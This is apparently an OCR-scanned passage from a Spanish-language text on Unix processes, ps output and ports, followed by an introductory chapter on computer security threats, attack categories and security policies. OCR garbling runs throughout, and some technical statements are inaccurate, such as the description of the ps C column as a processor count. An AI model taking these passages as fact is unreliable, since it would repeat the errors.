5. EIl proceso estéa listo para ejecutarse, pero el intercambiador (proceso 0)
debe cargar el proceso en memoria antes de que el ndcleo pueda ordenar
que pase a ejecutarse.

6. El proceso esta durmiendo y el intercambiador ha descargado el proceso
hacia una memoria secundaria (area de intercambiador del disco) para
crear espacio en la memoria principal donde poder cargar otros
procesos.

7. El proceso esta volviendo del modo supervisor al modo usuario, pero el
nucleo se apropia del proceso y hace un cambio de contexto, pasando
otro proceso a ejecutarse en modo usuario.

8. EIl proceso acaba de ser creado y esta en un estado de transicion; el
proceso existe, pero ni esta preparado para ejecutarse (estado 3), ni
durmiendo (estado 4). Este estado es el inicial para todos los procesos,
excepto el proceso 0.

9. El proceso ejecuta la Ilamada exit y pasa al estado zombi. El proceso ya
no existe, pero deja para su proceso padre un registro que contiene el
cddigo de salida y algunos datos estadisticos tales como los tiempos de
ejecucion. El estado de zombi es el estado final de un proceso.

1.3.3 Tabla de procesos y area de usuario

Todo proceso tiene asociadas una entrada en la tabla de procesos y un area de
usuario. Estas son dos estructuras que van a describir el estado del proceso y
que le van a permitir campos al nucleo su control.

La tabla de procesos tiene campos que van a ser accesibles desde el nicleo,
pero los campos del area de usuario sélo necesitan ser visibles por el proceso.
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Figura 1.4 Diagrama completo de transicion de estados de un proceso

Las areas de usuario se reservan cuando se crea un proceso y no es necesario
que una entrada de la tabla de procesos que no aloja a ningln proceso tenga
reservada un area de usuario.

Los campos que tienen cada una de las entradas de la tabla de procesos son las
siguientes:

e Campo de estado que identifica el estado del proceso

e Campos para localizar el proceso y su area de usuario, tanto en memoria

principal como en memoria secundaria. El ndcleo usa esta informacion
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para realizar los cambios de contexto cuando el proceso pasa de un
estado a otro. También utiliza esta informacion cuando traslada el
proceso de la memoria principal al area de intercambio, y viceversa. En
estos campos también hay informacidn sobre el tamafio del proceso,
para que el nucleo sepa cuanto espacio de memoria debe reservar para
él.

e Algunos identificadores de wusuario (UID) para determinar los
privilegios del proceso. Por ejemplo, el campo UID delimita a qué
procesos puede enviar sefiales el proceso actual y qué procesos pueden
enviarselas a él.

o Identificadores de proceso (PID) que especifican las relaciones entre
procesos. Estos identificadores son fijados cuando se crea el proceso
mediante una llamada a fork.

e Descriptores de eventos, cuando el proceso esta durmiendo y que seran
utilizados al despertar.

e Parametros de planificacion que permiten al nicleo determinar el orden
en el que los procesos pasan del estado ejecutandose en modo
supervisor a ejecutandose en modo usuario.

e Un campo de sefiales que enumera las sefiales que han sido recibidas,
pero que no han sido tratadas todavia.

e Algunos temporizadores que indican el tiempo de ejecucion del proceso
y el tiempo de uso de los recursos del nucleo. Estos campos se usan
para llevar la contabilidad del proceso y calcular la prioridad dindmica
que se le asigna.

El area de usuario contiene informacion que es necesaria solo cuando el
proceso se esta ejecutando. Algunos de los campos de que consta en esta zona
son los siguientes:

e Puntero a la entrada de la tabla de procesos correspondientes al proceso
al cual pertenece el area de usuario.
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Los identificadores de usuario real y efectivo (UID), que determinan
algunos privilegios del proceso, tales como el permiso de acceso a un
archivo.

Temporizadores que registran el tiempo empleado por el proceso
ejecutandose en modo usuario y en modo supervisor.

Un arreglo que indica como va a responder el proceso a las sefiales que
recibe.

La terminal de inicio de sesion asociada al proceso, que indica cual es,
si existe, la terminal de control.

Un registro de errores que indica los errores que se han producido
durante alguna llamada al sistema.

Un campo de valor de retorno que contiene el resultado de las llamadas
efectuadas por el proceso.

Parametros de entrada/salida que describen la cantidad de datos a
transferir, la direccion del arreglo origen o destino de la transferencia y
los punteros de lectura/escritura del archivo al que se refiere la
operacion de entrada/salida.

El directorio de trabajo actual y el directorio raiz asociados al proceso.

La tabla de descriptores de archivos que identifica los archivos que
tiene abiertos el proceso

Campos de limite que restringen el tamafio del proceso y de algun
archivo sobre el que puede escribir.

Una mascara de permisos que va a ser usada cada vez que se cree un
nuevo archivo.
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1.3.4 Monitoreo de procesos

Para el monitoreo de procesos que estan actualmente ejecutdndose en la
méaquina se puede hacer con el comando ps (para el estatus del proceso). Este
comando despliega informacion acerca de los procesos que estén corriendo
cuando se aplica éste. Si se corre el comando méas de una vez, la salida
comunmente es diferente cada vez; esto es porque ps produce una fotografia
de la actividad de la maquina.

Si se ejecuta el comando ps sin argumentos, éste muestra informacion acerca
de los procesos asociados con la sesién de usuario. Por ejemplo,

$ ps

PIDTTY TIMECOMMAND
29817 pts/9 00:01 -sh
29880pts/9 00:02 ps

Esta salida revela que se tienen dos procesos corriendo: uno para el shell, el
cual se crea cuando se realiza el proceso de acceso al sistema, y muere cuando
el usuario sale de sesion, y otro que ejecuta el comando ps. Cada proceso que
es listado tiene un tiempo asociado de ejecucion. Un proceso puede tener una
terminal asociada de la cual lee y escribe, en este caso es listada en la columna
TTY. Un proceso que es asociado con el login del usuario es usualmente, pero
no siempre, sujeto a su terminal. Algunos procesos no son sujetos a
terminales, en este caso la columna TTY contiene el caracter ? (signo de
interrogacion). Finalmente, cada proceso tiene un unico PID que identifica a
éste en el sistema. PID’s inician en 0 cuando el sistema es encendido, y cada
nuevo proceso obtiene el siguiente nimero hasta llegar al maximo, usualmente
32,767 (en sistemas Unix SV).

Los procesos hijos usualmente tienen un PID mayor que el del proceso padre,
pero si el PID del padre esta cerca del maximo, un hijo puede reciclar un
numero menor.

Actualmente hay mayor informacion asociada con cada proceso, y parte de
esta informacion esta disponible con algunas opciones del comando ps, como
se muestra a continuacion:
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$ps —f

uiD PID PPID CSTIMETTY TIME CMD
sergio 3155 3154 012 :30 pts/3 00 :00 :00 —bash
sergio 3194 3155 012:31 pts/3  00:00:00 ps —f

Ademas de mostrar informacion que despliega ps sin opciones, ps —f muestra
alguna informacion adicional. En la parte izquierda se encuentra el
identificador de usuario, el cual revela al duefio del proceso.

La columna PPID lista el PID del padre del proceso, el padre de la mayoria de
los procesos creados por el sistema usualmente tienen en PID 1. Cuando se
ejecuta el comando ps, el shell crea ese proceso, por lo tanto el PID padre del
proceso ps es el PID del propio shell. Se puede realizar una cadena de padres e
hijos para localizar sus PID y PPID.

La siguiente columna de salida, C, muestra la cantidad de procesadores que el
proceso hace uso. El kernel utiliza esta informacion para decidir que los
procesadores disponibles pueden ser accedidos por el CPU. El kernel
permitira a procesos con un valor bajo C tomar control del CPU antes de uno
que tenga un nimero mayor.

Finalmente, STIME proporciona el la hora del dia cuando el proceso inicio.
Esta informacion es importante, debido a que se puede usar para rastrear
procesos que no deberian estar por un largo tiempo en el sistema.

1.4 Manejo de puertos

La base de toda comunicacion el los sistemas Unix es una estructura de datos
en el kernel llamada puerto. Un puerto es esencialmente un buzén protegido.
Cuando un hilo de un proceso desea comunicarse con un hilo de otros
procesos, el hilo emisor escribe el mensaje al puerto y el hilo receptor lo
obtiene de él. Cada puerto esté protegido para garantizar que solo los procesos
autorizados puedan enviar y recibir de él.

Los servicios son parte esencial de los sistemas Unix en red, por ello, la
implementacion del concepto de puertos para equipos bajo el modelo cliente-
servidor necesita el uso de direcciones IP. Para conectarse a un equipo remoto
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se necesita una direccion IP, de este modo, varios equipos pueden hacerlo a un
mismo servidor mediante un sistema de comunicacion IP:Puerto. El servidor
puede determinar si esas comunicaciones necesitan de autenticacion por parte
del cliente y decide aceptar o rechazar la conexién.

La implementacion de puertos/servicios fue realizada de tal modo que se
puede tener corriendo al mismo tiempo un servidor de ftp, telnet, http, etc. Sin
el modelo IP:Puerto, un sistema solo podria proveer solamente un servicio. La
figura 1.5 muestra graficamente como trabaja esto.

linea directa
HTTP

linea directa SMTP

Lusuario R

——— FTP

—— TELNET

—— GOPHER

inetd

Figura 1.5 Implementacion del modelo de servicios

A la hora de asignar un namero de puerto a un proceso, se tienen dos
posibilidades:

e Asignar un numero fijo predeterminado, en cuyo caso hay que tener
cuidado con los puertos que tiene reservados el sistema. Este tipo de
reserva la suelen emplear los servidores que necesitan una direccion con
un puerto perfectamente conocido por sus clientes.

e Pedir al sistema que le reserve al proceso alguno de los puertos que se
encuentran libres en ese instante.
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En el caso que el usuario fije un nimero de puerto, hay que tener presente que
para los protocolos de internet (TCP y UDP) los niUmeros comprendidos entre
1y 1023 estan reservados por el sistema, y por lo tanto ningn proceso puede
utilizarlos. Los puertos reservados son utilizados por los servicios que se
ejecutan con privilegios de superusuario. Asi, los puertos del intervalo [1, 255]
son utilizados por las aplicaciones de internet estandar, tales como ftp, telnet,
smtp, etc. Los puertos del intervalo [256, 511] estan reservados para nuevas
aplicaciones de internet. Finalmente, los puertos del intervalo [512, 1023] no
estan reservados para aplicaciones estandar, sino para servidores de usuario
que se ejecuten con privilegios de superusuario.



Capitulo 2

uridad en computo




2.1 ¢ Qué es la seguridad en cOmputo?

Términos como “seguridad”, “proteccion” y “privacidad” algunas veces tienen
mas de un significado. Profesionistas que trabajan en el area de seguridad no
estan de acuerdo en lo que estos términos significan. A lo largo de este trabajo
las definiciones se enfocaran a la parte practica del uso de estas palabras, mas
que a la parte formal.

Es importante que al introducirse a un tema tan delicado como lo es el de la
seguridad en computo, se debe saber qué es lo que se esta protegiendo, en caso
contrario ¢por qué se estaria protegiendo y de quién se estaria protegiendo? si
no se tiene respuesta a este tipo de preguntas, entonces la tarea puede ser poco
dificil. Ademas, se necesita entender como establecer y aplicar politicas de
seguridad. A continuacion se presenta una definicion de seguridad en
cémputo.

“Una computadora es segura si se puede depender de ésta y el software se

comporta como se espera”’.

Se espera que cuando el usuario ingrese datos en la maquina, éste los podra
tener ahi el tiempo que quiera, asi sean pocas o0 varias semanas, y mantenerlos
sin que hayan sido leidos por alguien, quien se supone no debe hacerlo,
entonces la maquina es segura. Este concepto es comdnmente llamado
confiabilidad.

De acuerdo con la definicion dada, desastres naturales y software malicioso
son una amenaza mucho mayor para la seguridad en comparacion con los
usuarios no autorizados, del mismo modo, la definiciobn toma en cuenta
solamente la parte de la seguridad que concierne con temas tal como el revisar
software y hardware, y con la prevencion de errores por parte de los usuarios.

2.2 Unix y la seguridad en coOmputo

“Unix no fue disefiado para ser seguro, fue disefiado con las caracteristicas

necesarias para mantenerlo seguro™.

! Garfinkel, Simson y Spafford, Gene. Practical UNIX e Internet Security. Second Edition. United States.
2 Dennis Ritchie



Unix es un sistema operativo multiusuario y multitarea. Multiusuario significa
que el sistema operativo permite a varios usuarios utilizar la misma
computadora al mismo tiempo. Multitarea significa que cada usuario puede
ejecutar diferentes programas simultaneamente.

Una de las funciones naturales del sistema operativo es prevenir que los
distintos usuarios (o programas) que estén activos en la misma computadora
interfieran con algun otro. Sin tal proteccion, un programa de un determinado
usuario podria afectar otros programas 0 a otros usuarios, podria borrar
archivos accidentalmente, u ocasionalmente podria afectar por completo al
sistema de cOmputo. Para prevenir que estos desastres sucedan,
necesariamente existio alguna forma de seguridad en computo en el momento
del disefio filoséfico de Unix.

Pero la seguridad en Unix provee mas que proteccion al area de memoria.
Unix tiene un sofisticado sistema de seguridad que permite controlar el modo
en que los usuarios acceden a los archivos, modifican la base de datos del
sistema y usan los recursos del sistema.

La reputacion de Unix como un sistema operativo no seguro no viene del
disefio tedrico, sino de la parte practica. En los primeros afios de vida de Unix,
fue utilizado principalmente en ambientes acadéemicos y en computo industrial
-dos lugares en donde la seguridad en computo no habia sido una prioridad.-
Los usuarios de esos lugares comunmente configuraban sus sistemas de
cémputo de manera poco segura, y algunas veces desarrollaban filosofias que
veian a la seguridad como algo que tenian que evitar o esquivar. Esto sucedia
debido a que ofrecian a su comunidad programas que los vendedores de
software Unix creaban con pocos mecanismos de seguridad en sus sistemas,
tal vez por miedo de molestar a sus clientes.

La mayoria de los huecos de seguridad que se han estado encontrando en Unix
a traves de los afos, han sido el resultado los errores en programas
individuales. Por esta razon, los vendedores del sistema operativo Unix creen
que pueden (y tal vez lo hagan) proveer un sistema operativo Unix seguro.

Unix es muy susceptible a los ataques de negacion de servicio (DoS) —ataques
donde un usuario puede llevar al sistema a un estado poco util.- En la mayoria
de los casos es posible localizar a la persona que esta causando la interrupcion
del servicio y ocuparse de ella directamente.



2.3 Seguridad de red versus seguridad en el
sistema operativo

La seguridad en computo es el proceso de prevenir y detectar el uso no
autorizado de los equipos de computo. Las medidas de prevencion ayudan a
no permitir a usuarios no autorizados (intrusos) acceder a cualquier parte de
nuestro sistema de cdémputo. La deteccion ayuda a determinar si alguien
intentd introducirse en el sistema, si es que el intento fue exitoso y qué
realizaron en el sistema.

La seguridad en computo se considera como el area méas afectada en cuanto a
ataques, una segunda area es la seguridad en red. La seguridad en red se
refiere a la seguridad de los datos mientras son transferidos de un sistema a
otro, para ello se puede utilizar el cifrado de datos, ademas de autenticar los
datos recibidos, tanto en su contenido como en su origen.

2.4 Tipos de seguridad

2.4.1 Seguridad logica

La seguridad légica se puede tratar a través de tres servicios:

e Autenticacion
e Confidencialidad
e Disponibilidad

A traves de éstos se puede determinar si un sistema es seguro; la medida de la
seguridad en un sistema operativo se basa en la granularidad en estos tres
elementos, mientras mayor seguridad se quiera proporcionar a un sistema,
mayor control debe lograrse sobre cada uno de los objetos del sistema
operativo.

Por autenticacidn se entiende a aquellos mecanismos que el sistema operativo
utiliza para determinar si un posible usuario es realmente quien dice ser.



La confidencialidad tiene que ver con mantener accesibles los recursos
solamente a los usuarios permitidos; por ejemplo, a nivel usuario en el sistema
operativo se pueden definir permisos (lectura, escritura o ejecucion) de un
archivo o directorio a un grupo de usuarios.

La disponibilidad se entiende como la capacidad que tiene cualquier usuario
valido para utilizar los servicios del sistema; si el sistema presenta un
comportamiento erratico, la confianza sobre el sistema se pierde.

2.4.2 Seguridad fisica

A traves de este apartado dedicado a la seguridad fisica se mencionaran los
puntos béasicos de las consideraciones que se deben tomar en cuenta para
proteger a los equipos de computo, pues en la mayoria de los casos es éste el
aspecto olvidado a la hora del disefio de la unidad de computo.

La seguridad informatica va méas alld de la configuracién de firewalls,
proteccion de datos, administracion de usuarios y grupos, etc. De modo que la
mayoria de la gente pensara que si ha realizado las tareas mencionadas, su
sistema es seguro y todo estard a la perfeccion, es decir, libre de toda
intrusion.  El punto delicado de este asunto es, qué sucederd si alguien
consigue llegar al lugar donde se encuentra el equipo de computo, en ese caso,
ningun software sistema detector de intrusos podra hacer algo y el equipo
quedara en manos del intruso.

La seguridad fisica consiste en la “aplicacion de barreras fisicas y
procedimientos de control, como medidas de prevencion y contramedidas ante
amenazas a los recursos e informacion confidencial”’3. Se refiere a los
controles y mecanismos de seguridad dentro y alrededor del centro de
cdmputo, asi como de los medios de acceso remoto al y desde el mismo
implementados para proteger el hardware y medios de almacenamiento de
datos.

La definicion proporcionada toma en consideracion los siguientes tipos de
problemas:

A. causados por catastrofes naturales

B. de entorno

* Huerta, Antonio Villalon. “Seguridad en Unix y Redes”, Version 1.2 Digital — Open Publication License
v.10 o Later, 2 de Octibre de 2000. http://www kriptopolis.com



C. Trashing
Los cuales son descritos a continuacion:

A. Catastrofes Naturales

Inundaciones. Se define como la invasion de agua por exceso de
escurrimientos superficiales o por acumulacién en terrenos planos, ocasionada
por falta de drenaje ya sea natural o artificial. Esta es una de las causas de
mayor desastre en centros de cémputo.

Ademas de las causas naturales de inundaciones, puede existir la posibilidad
de una inundacion provocada por la necesidad de apagar un incendio en un
piso superior.

Para evitar este inconveniente se pueden tomar las siguientes medidas:
construir un techo impermeable para evitar el paso de agua desde un nivel
superior y acondicionar las puertas para contener el agua que bajase por las
escaleras.

Temperaturas extremas. Al igual que las personas, es preferente que los
equipos de computo operen en un cierto rango de temperaturas, este rango
puede ser entre 10 y 32 grados Celsius.

Es recomendable revisar la documentacién de los equipos de cédmputo para
revisar el rango de temperaturas tolerables, ademas de instalar una alarma en
el centro de computo para indicar temperaturas extremas, ya sean bajas o altas.

Explosiones. Aunque los equipos de coOmputo no son propensos a explotar, el
edificio en el que estén localizados si lo puede ser, especialmente si el edificio
contiene algun gas natural o es usado para almacenar solventes flamables.

Al disefiar el centro de computo es importante considerar el riesgo de una
posible explosion, y en consecuencia, la precaucion de resguardar los
respaldos de informacion fuera del lugar.

Plagas. Algunas veces los insectos encuentran en las computadoras un lugar
ideal para alojarse y en especial entre los dispositivos electrénicos de alto
voltaje y en el caso de arafas, sus telarafias colectan demasiado polvo. Es
recomendable mantener las computadoras en un lugar libre de cualquier tipo
de insectos.



Polvo. El polvo destruye los datos. El polvo se puede acumular en los discos
magnéticos, unidades de cinta y discos opticos. Una de las caracteristicas por
las cuales el polvo es dafiino, es porgue es abrasivo y lentamente destruye los
dispositivos mencionados.

El polvo es un conductor eléctrico. El disefio de muchas computadoras hace
que se aspire gran cantidad de aire y polvo a través de un ventilador que tiene
la funcion de disminuir la temperatura. Invariablemente, una capa de polvo se
puede acumular en las tarjetas del equipo de cdémputo y en cualquier
superficie. Eventualmente, el polvo puede causar un corto circuito y otro tipo
de fallas.

Se recomienda mantener la unidad de computo libre de polvo tanto como sea
posible y si los equipos tienen filtros de polvo, es recomendable limpiarlos o
reemplazarlos regularmente.

Temblores. Algunas regiones del mundo son propensas a frecuentes y severos
temblores, algunas otras a temblores ocasionales de intensidad variable.
Mientras que algunos edificios se colapsan a causa de los temblores, otros se
mantienen en pie, por ello es importante poner atencion en los lugares en que
estan ubicadas las computadoras en caso de presentarse un incidente de este
tipo, pues esto determinara el que las computadoras puedan mantenerse a
salvo.

Para mantener a salvo los equipos de computo no se deben colocar en
superficies elevadas, ni colocar objetos pesados en libreros que estén cerca de
computadoras y que puedan caer sobre éstas durante el temblor.

Humo. El fuego es exageradamente dafino para las computadoras, pues es
abrasivo y se acumula en las cabezas de los discos magnéticos, discos épticos
y unidades de cinta. Algunas veces el humo es generado por las computadoras,
particularmente el causado por los transformadores en los monitores de video,
ya gque puede causar dafio al equipo que se encuentre cerca.

El humo del cigarro no es la excepcion, puede causar dafios a los teclados,
ademas de que se requiere sean limpiados méas a menudo.



Fuego. Un inconveniente que posee el material del cual estdn hechas las
computadoras es que no son resistentes al fuego. Si el fuego no lograra dafiar
los equipos de computo exteriormente, el calor puede derretir el disco duro y
deshacer la soldadura de las tarjetas, logrando dafiar los componentes
electrénicos.

Se puede incrementar la posibilidad de que los equipos de computo no
resulten dafiados por el fuego teniendo un buen extinguidor de fuego cerca del
lugar.

B. De Entorno

Ya se han mencionado varias amenazas que pueden sufrir los equipos de
cémputo, sin embargo no son las Unicas, ahora toca el turno de tratar aquellos
propios del entorno.

Sefiales de radar. La influencia de sefiales de radar sobre el funcionamiento
de un equipo de computo ha sido exhaustivamente estudiada desde hace varios
afos. Los resultados de las investigaciones mas recientes son que las sefiales
muy fuertes de radar pueden interferir en el procesamiento electronico de la
informacién, pero Unicamente si la sefial que alcanza el equipo es de 5
volts/metro o mayor. Ello podria ocurrir si la antena respectiva fuera visible
desde una ventana de la unidad de computo respectiva y, en algin momento,
estuviera apuntando directamente hacia dicho lugar.

Instalacion eléctrica. Trabajar con computadoras implica trabajar con
electricidad. Por lo tanto esta es una de las principales areas a considerar en la
seguridad fisica. Ademas, es una problematica que abarca desde el usuario
hogarefio hasta la gran empresa.

En la medida que los sistemas se vuelven més complicados se hace mas
necesaria la presencia de un especialista para evaluar riesgos particulares y
aplicar soluciones que estén de acuerdo con una norma de seguridad
industrial.

Dentro de esta misma categoria de riesgo es importante resaltar los picos y
ruidos electromagnéticos, pues en el primer caso, las subidas (picos) y caidas
de tension no son el Unico problema eléectrico al que se enfrentan los usuarios,



en el segundo caso, el ruido puede interferir en el funcionamiento de los
componentes electronicos. El ruido interfiere en los datos, ademéas de
favorecer la escucha electronica.

C. Trashing

Una fuente de informacion para los intrusos puede venir de un lugar unico, la
basura. Los intrusos pueden lograr acceder a un sitio por medio de un ataque o
haciendo uso de los botes de basura, en los que se espera encontrar cualquiera
de los siguientes articulos:

1.

Manuales de computadoras, redes o teléfonos. Cualquiera de estos
articulos pueden decir al intruso acerca del software y hardware que se
esta utilizando en los equipos de codmputo, de este modo podran disefiar
mejor el ataque.

Discos flexibles, CD-ROM’s, PC’s viejas que contengan aun el disco
duro, cintas magnéticas, etc. Aunque aparenten estar dafiados los
dispositivos de almacenamiento, se pueden aplicar técnicas de
recuperacion de datos.

Memorandos, reportes y otros documentos de oficina. Estos
documentos pueden ayudar al intruso a planear una estrategia de
ingenieria social.

Procedimientos acerca de la tecnologia de la informacion y protocolos,
especialmente aquellos que hayan sido disefiados con el fin de
solucionar problemas criticos al momento.

Informacién de vendedores (facturas, notas, etc.) La informacion puede
ser utilizada para realizar ingenieria social de tal modo que el intruso
pueda tener relacion con el vendedor.



6. Documentos destrozados. Estos pueden parecer no tener sentido, pero
para los intrusos no importa el tiempo que tenga que dedicar para unir
las partes del documento, lo haran con el fin de obtener informacién
valiosa.

La mayoria de las veces, la basura se considera como lo que es, basura y no
mas, sin embargo, para los intrusos es una fuente de informacion.

2.5 Ataques a la seguridad

Los tipos de ataques a la seguridad de un sistema de computo o una red estan
caracterizados por investigar la funcion del sistema de computo. En general,
existe un flujo de informacion desde una fuente, tal como un archivo o una
region de la memoria principal, hacia un destino, tal como otro archivo o un
usuario. La figura 2.1 muestra el flujo normal de informacidn entre un emisor
y un receptor.

Figura 2.1 Flujo normal de informacion.

Interrupcion o no disponibilidad. Un dispositivo del sistema es destruido o
llega a ser no disponible o no usual. Este es un ataque a la disponibilidad
(Figura 2.2). Como ejemplo se puede tomar el caso de la destruccion de una
pieza de hardware, tal como un disco duro, el corte de la linea de
comunicacion o deshabilitar el sistema de archivos.

®—

Figura 2.2 Interrupcion del flujo de informacion.



Intercepcion o contra la confidencialidad. Una parte no autorizada gana
acceso a un dispositivo (Figura 2.3). Este es un ataque a la confidencialidad.
La parte no autorizada puede ser una persona, un programa O una
computadora.

Figura 2.3 Intercepcion del flujo de informacion

Modificacion. Una parte no autorizada no solo gana acceso al sistema de
cdmputo, también altera parte de éste (Figura 2.4). Este es un ataque a la
integridad. Como ejemplos se puede mencionar el cambio de valores a los
datos de un archivo, alterar un programa de modo que éste funcione de manera
diferente, o bien, modificar mensajes que viajen por la red.

Figura 2.4 Modificacion de la informacion.



Contra la autenticidad. Una parte no autorizada inserta objetos falsificados
al sistema (Figura 2.5). Este es un ataque a la autenticidad. Ejemplos de este
tipo incluye la insercion de mensajes falsos en una red o agregar texto a un
archivo.

Figura 2.5 Insercion de datos falsos por un tercer elemento.

2.5.1 Ataques pasivos

Se consideran ataques pasivos a la practica de escuchar detras de la puerta, 0
monitorear. El objetivo del atacante es obtener informacion que esta siendo
transmitida. Dos tipos de ataques estan involucrados aqui: hacer publico el
contenido de un mensaje y el analisis de trafico.

El hacer publico el contenido de un mensaje es facilmente entendible. Una
conversacion telefénica, un mensaje electronico, un archivo transferido puede
contener informacion sensible o confidencial.

El segundo ataque pasivo es el andlisis de trafico. Si se tiene una manera de
proteger el contenido de un mensaje o de otro tipo de informacién y sucede
que un atacante captura el mensaje, ellos no podran extraer éste. Una técnica
comun de proteger la informacién es la encriptacion (cifrado de datos).

Los ataques pasivos son muy dificiles de detectar pues no involucran ninguna
alteracidn de datos. Sin embargo, es posible prevenir ataques exitosos. Por lo



tanto, se enfatiza manejar los ataques pasivos con prevencion mas gue con
deteccion.

2.5.2 Atagques activos

La segunda categoria de los ataques es la de los ataques activos. Este tipo de
ataques involucran modificacion de datos o la creacion de cadenas falsas y
pueden ser subdivididos en cuatro categorias: mascarables, replay,
modificacién de mensajes y negacion de servicio.

Un ataque mascarable toma lugar cuando una entidad pretende ser una
entidad distinta. Este tipo de ataque comunmente incluye uno de los otros
tipos de ataques activos. Por ejemplo, la secuencia de autenticacion puede ser
capturada y responder después con una secuencia de autenticacion valida, por
lo tanto se habilita una autoridad permitida con pocos privilegios para obtener
privilegios extra al hacerse pasar por una entidad que si los tiene.

Un ataque tipo replay involucra la captura pasiva de una unidad de datos y su
posterior retransmision para producir un efecto no autorizado.

La modificacion de mensajes significa simplemente que alguna parte de un
mensaje legitimo es alterado, o que el mensaje es retardado o reordenado con
el fin de producir un efecto no autorizado. Un ejemplo, el mensaje “permitir a
Sergio leer el archivo de las cuentas confidenciales” es modificado a “permitir
a Miguel leer el archivo de las cuentas confidenciales.”

La negacion de servicio prohibe o inhabilita el uso normal o manejo del
servicio proporcionado. Este ataque puede tener un objetivo especifico; por
ejemplo, una entidad puede ocultar todos los mensajes dirigidos a un destino
en particular. Otra forma de negacion de servicio es la interrupcion de una red
entera, ya sea por deshabilitar la red o por sobrecargar con mensajes con el fin
de degradar el desempefio.

Los ataques activos presentan la caracteristica contraria a la de los ataques
pasivos, mientras que los ataques pasivos son dificiles de detectar, las medidas
estan disponibles para prevenir su éxito. Por otro lado, es poco dificil prevenir
ataques activos, esto al tomar las medidas necesarias, como lo es proteger los
activos fisicos a toda hora.



2.6 Seguridad del sistema

2.6.1 Politicas de seguridad en computo

Hoy en dia es imposible hablar de un sistema cien por ciento seguro, por ello
el contar con politicas de seguridad es tan importante como el proteger el
sistema de accesos no autorizados. En este sentido, las politicas de seguridad
surgen como una herramienta organizacional para concienciar a cada uno de
los miembros de una organizacién sobre la importancia y sensibilidad de la
informacion y servicios criticos.

e (/Qué es una politicade seguridad? y ¢por qué tenerla?

Una politica de seguridad es un codigo de conducta para el uso de un sistema
de computo.

Una politica de seguridad es una declaracion formal de las reglas que los
usuarios deben seguir al hacer uso de un sistema de computo.

Las dos definiciones anteriores coinciden en el punto de enunciar reglas para
establecer comportamientos de uso en los sistemas. Las politicas detallan las
actividades que estan permitas y también aquellas que no lo estan,
procedimientos que los usuarios deben seguir para proteger su cuenta de
usuario y datos, el como acceder a archivos de otros usuarios, los derechos en
el sistema, etc.

Las politicas de seguridad explican las medidas que seran impuestas si ocurre
una violacién a éstas.
e Propoésito de una politica de seguridad

El principal propésito de una politica de seguridad es informar a los usuarios,
staff y administradores de los requerimientos para proteger Sus recursos
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tecnologicos e informaticos. La politica debe especificar los mecanismos a
través de los cuales estos requerimientos pueden ser cumplidos. Otro
propoésito es proporcionar una base de la cual partir para adquirir, configurar y
auditar sistemas de computo y redes.

Un uso apropiado de las politicas también puede ser parte importante en el
tema de la seguridad en computo. Estas deben explicar qué esta permitido a
los usuarios en los componentes del sistema, del mismo modo en que debe
explicar lo que no le esta permitido hacer. Dentro de este mismo uso, las
politicas deben ser lo méas explicitas posible con el fin evitar ambigledad o
desentendimientos.

e ;/Quién debe estar involucrado al establecer politicas?

Con el fin de que las politicas de seguridad sean apropiadas y aplicables, éstas
necesitan la aceptacion y el respaldo de los empleados en todos los niveles
dentro de la organizacion. Es sumamente importante que los directores de la
empresa respalden el proceso de creacidn de las politicas de seguridad, de otro
modo, puede existir la posibilidad de que no se tenga el impacto que se espera.

La siguiente lista muestra a las entidades que deben estar involucradas en la
creacion y revision del documento de politicas de seguridad:

- El administrador de sistemas.

- El grupo de trabajo del centro de computo.

- Administradores de grupos de usuarios en la organizacion.
- El equipo de respuesta a incidentes de seguridad.

- Representantes de equipos de trabajo en la organizacion.

- El director de la empresa.

- De ser posible alguna persona experta en leyes.

La lista mostrada puede ser tomada como base para reunir al equipo de trabajo
con el fin de realizar as politicas de seguridad, pues no en todas las
organizaciones se cuenta con las personas descritas. Es importante tomar en
cuenta que dentro de la parte legal, las leyes cambian entre paises, incluso
entre localidades de un mismo estado.



e ;/Qué hace buena a una politica?

Las caracteristicas de una buena politica de seguridad son las siguientes:

Deben ser implementadas con base en procedimientos de la
administracion de sistemas, publicacion de la guia de uso y otros
métodos apropiados.

Deben ser reforzadas por herramientas de seguridad, en donde sean
aplicables, y deben sancionar cuando asi se requiera.

Deben definir perfectamente las responsabilidades para usuarios,
administradores y directores.

Los componentes de una buena politica de seguridad incluyen:

Guias de uso, las cuales deben especificar los requerimientos. En el
caso de que ya exista una guia, la nueva version debe mejorar a la
anterior.

Una politica de privacidad, la cual defina expectativas razonables de
privacidad, tal como el monitoreo de correo electronico o el acceso a
archivos de usuarios.

Una politica de acceso, la cual defina derechos de acceso y privilegios
para proteger contra pérdida o acceso a la informacién, tanto a nivel
usuario como administrativo. Esta debe proporcionar una guia de uso
para conexiones externas, transferencia de datos, dispositivos de
conexion en redes y el agregar nuevo software a los sistemas.

Una politica de contabilidad, la cual establezca las responsabilidades de
usuarios, administradores y directores.

Una politica de autenticacion, la cual establezca el uso correcto de una
politica de uso de contrasefias, y del uso de herramientas de
autenticacion para el caso de conexiones remotas.



- Una declaracion de disponibilidad que establezca las expectativas de los
usuarios para la disponibilidad de los recursos. Esta debe hacer mencion
sobre la redundancia y recuperacion de datos, ademas de especificar las
horas de operacion y mantenimiento de los equipos de computo.

- Una politica acerca de los sistemas de informacién y mantenimiento de
la red, dicha politica debe describir como sera el acceso para el personal
de mantenimiento. Un tema importante es si el mantenimiento remoto
sera permitido y como sera éste.

- Una politica para el reporte de violaciones que indique el tipo de
violacion que debe ser reportada y como sera hecho el reporte. Es
importante que esta politica no genere una atmosfera de amenaza y que
permita la divulgacion andnima, pues traera una mayor probabilidad de
que la violacidn sea reportada en caso de ser detectada.

Pueden existir aspectos que regulen los efectos de las politicas de seguridad.
Los creadores de las politicas de seguridad deben considerar la asesoria legal
para la creacion de éstas.

Una vez que las politicas de seguridad hayan sido establecidas, éstas deben ser
comunicadas a los usuarios, administradores y directores. Una vez hecho lo
anterior, cada persona de las ya mencionadas debe firmar un documento en el
cual se establezca que ha leido, entendido y esta de acuerdo en que apegarse a
dichas politicas es parte importante de la seguridad en cémputo.

Finalmente, las politicas deben ser revisadas periédicamente con el fin de
revisar si cubren las necesidades de la organizacion, en caso contrario, deben
ser actualizadas.

e Cuidando laflexibilidad de las politicas

Para lograr que las politicas de seguridad estén disponibles por un largo
tiempo, estas requieren ser muy flexibles respecto a los conceptos de
seguridad. Una politica de seguridad debe ser independiente de un hardware o
software en especifico. Los mecanismos para actualizar las politicas deben ser
claramente establecidos, de manera que se incluyan los procesos, la gente
involucrada y la gente que debe aprobar los cambios realizados.



